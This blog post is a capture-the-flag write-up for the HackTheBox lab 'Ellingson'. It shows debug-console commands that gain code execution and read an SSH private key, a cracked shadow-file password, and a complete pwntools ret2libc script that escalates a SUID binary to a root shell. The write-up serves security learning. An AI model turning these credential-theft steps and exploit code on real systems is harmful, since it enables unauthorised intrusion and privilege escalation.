Search This Blog

Saturday, October 19, 2019

Ellingson HackTheBox Writeup

Ellingson was a fun but easy box from HackTheBox.  There was a really trivial python web exploit followed by a classic ret2libc attack.

In the initial nmap scan, only port 22 and port 80 show up.  From some basic enumeration, we can tell that the web page runs on Flask.  Let's try to break it!  After a few minutes, I find that navigating to http://ellingson.htb/articles/4 breaks the webpage and reveals a console.  Here was my interaction with the console to gain RCE.

import subprocess
subprocess.check_output(['ls', '-l']) runs ls -l for example
#whoami tells me that currently I am hal
subprocess.check_output(['ls', '/home']) #shows there are the following users: duke, hal, margo, theplague
subprocess.check_output(['ls', '-a', '/home/hal'])
b'.\n..\n.bash_logout\n.bashrc\n.cache\n.config\n.gnupg\n.local\n.profile\n.ssh\n.viminfo\n'
subprocess.check_output(['ls', '-a', '/home/hal/.ssh'])
b'.\n..\nauthorized_keys\nid_rsa\nid_rsa.pub\nknown_hosts\n
subprocess.check_output(['cat', '/home/hal/.ssh/id_rsa'])


But it turns out Hal's id_rsa did not work.  I decided to store my public key into a variable and write it to authorized_keys for Hal.  Once we get a shell via SSH, I navigated to /var/backups and found that I can access shadow.bak.  Running rockyou on it gets us the following credentials: margo:iamgod$08

Now, we will have gotten user.  Onto root!

I found a SUID binary called garbage almost immediately.  SCP the file out and do a classic ret2libc out; make sure to change our uid to 0 as well in the ROP chains.  The basic gist was to leak libc by calling puts on puts@GOT and redirecting execution back into main.  Then you call setuid(0) and redirect back to the vulnerable part of the program.  Lastly, I just had it call a libc magic one gadget to pop the final shell.  Here was my exploit (there was one small issue with outputs that I encountered initially so my way of reading the outputs was sort of weird and please note that I did this problem before the days when I discovered p64() and u64() and I also decided to experiment with the auto-ROP feature of pwntools):

import sys
import struct
from pwn import *

#context.log_level = 'debug'
remoteShell = ssh(host = 'ellingson.htb', user='margo', password='iamgod$08')
remoteShell.set_working_directory('/usr/bin')
elf = ELF('./garbage')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context(arch='amd64')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
print rop.dump()
leakPayload = 'A' * 0x88 + struct.pack('<Q', 0x40179b) + struct.pack('<Q', 0x404028) + struct.pack('<Q', 0x401050) + struct.pack('<Q', 0x401619)
#print leakPayload
#p = process('./garbage')
p = remoteShell.process('./garbage')
p.sendline(leakPayload)
temp = p.recvuntil('\x7f') #weird input output thing, but probably first byte is x7f
temp = temp.split('\n')[2]
leakedPuts = struct.unpack('Q', temp + '\x00\x00')[0]
libc.address = leakedPuts - libc.symbols['puts']
print 'LIBC_BASE: ' + hex(libc.address)
print 'SETTING UID to 0'
setuid = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x2155f) + struct.pack('<Q', 0x0) + struct.pack('<Q', libc.address + 0xe5970) + struct.pack('<Q', 0x401513)#setuid 0 + go back to auth
p.sendline(setuid)
print 'OPENING A SHELL'
exploit = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x4f322) #libc.so.6 one_gadget
p.sendline(exploit)
p.interactive()

And that's it for Ellingson!

No comments:

Post a Comment